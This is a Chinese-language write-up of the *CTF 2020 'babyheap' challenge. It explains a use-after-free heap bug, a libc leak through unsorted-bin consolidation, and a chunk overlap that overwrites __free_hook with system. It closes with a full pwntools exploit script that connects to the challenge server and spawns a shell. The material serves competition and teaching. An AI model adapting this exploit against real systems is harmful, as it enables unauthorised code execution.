【CTF】*CTF 2020 babyheap

基本流程

  • 通过 UAF 泄漏 libc 地址
  • 使用 UAF 实现任意地址劫持

程序描述

一个很简单的堆块操作相关的程序,可以对堆块进行增删改查。在对堆块进行增加时,一共可以添加 16 个堆块,每个堆块的大小需在 0xF 到 0x60 之间:

除了对堆块的增删改查之外,还可以有一次输入名字的机会。但是值得注意的是,输入名字时申请的堆块内存很大:

此外,在程序的修改功能中,只能从 +8 内容开始编辑,因此无法直接修改 FD 指针完成控制流劫持:

程序漏洞

程序漏洞非常简单,在 delete 的时候将堆块 free 之后,没有对相应位置置空,因此存在明显的 UAF:

利用

首先,由于申请内存的范围只能在 0xF 与 0x90 之间,我们无法直接将堆块放入到 unsorted bin 中来泄漏 libc 地址。但是之前提到,设置名字的时候会申请 0x400 大小的堆块,此时会将 fast bin 中的 Chunk 合并,放入到 unsorted bin 中,然后再申请 0x400 大小的内存时,接下来的内存区域就会被放置 main arena 的地址,通过 UAF 可以直接泄漏。

for i in range(16):
    add(i, 0x60)

for i in range(10):
    delete(i)

leave_name("1234")

for i in range(7):
    add(i, 0x60)

add(7, 0x50)
leak = show(7)[1:7]

之后,同样适用 UAF 改写 __free_hook 为 system,即可劫持控制流。但是需要注意只能修改 +0x8 开始的地址,因此需要构造出一个 Chunk Overlap 的状态,让前面的堆块覆盖到放置在 tcache 中的堆块即可完成任意修改。

Exp

from pwn import *


program = remote("52.152.231.198", 8081)

def add(idx, size):
    program.sendafter(">> ", "1")
    program.sendafter("index", str(idx))
    program.sendafter("size", str(size))


def delete(idx):
    program.sendafter(">> ", "2")
    program.sendafter("index", str(idx))


def edit(idx, content):
    program.sendafter(">> ", "3")
    program.sendafter("index", str(idx))
    program.sendafter("content", content)


def show(idx):
    program.sendafter(">> ", "4")
    program.sendafter("index", str(idx))
    content = program.recvuntil("1.", drop=True)
    return content


def leave_name(name):
    program.sendafter(">> ", "5")
    program.sendafter("name:", name)


def show_name():
    content = program.recvuntil("\n1.", drop=True)
    return content


for i in range(16):
    add(i, 0x60)

for i in range(10):
    delete(i)

leave_name("1234")

for i in range(7):
    add(i, 0x60)

add(7, 0x50)
leak = show(7)[1:7]
libc_base = u64(leak.ljust(8, '\x00')) - 0x3ebde0
info("Libc base: " + hex(libc_base))

add(11, 0x60)
edit(11, p64(0x71) * 2)

add(12, 0x60)
edit(12, p64(0x71) + "/bin/sh\x00")

delete(13)
delete(10)
delete(8)

free_hook = libc_base + 0x3ed8e8
system = libc_base + 0x4f550
edit(11, p64(0x71) + p64(free_hook - 8))

add(0, 0x60)
add(1, 0x60)
edit(1, p64(system))

delete(9)
program.interactive()

pause()

Leave a Reply

Your email address will not be published. Required fields are marked *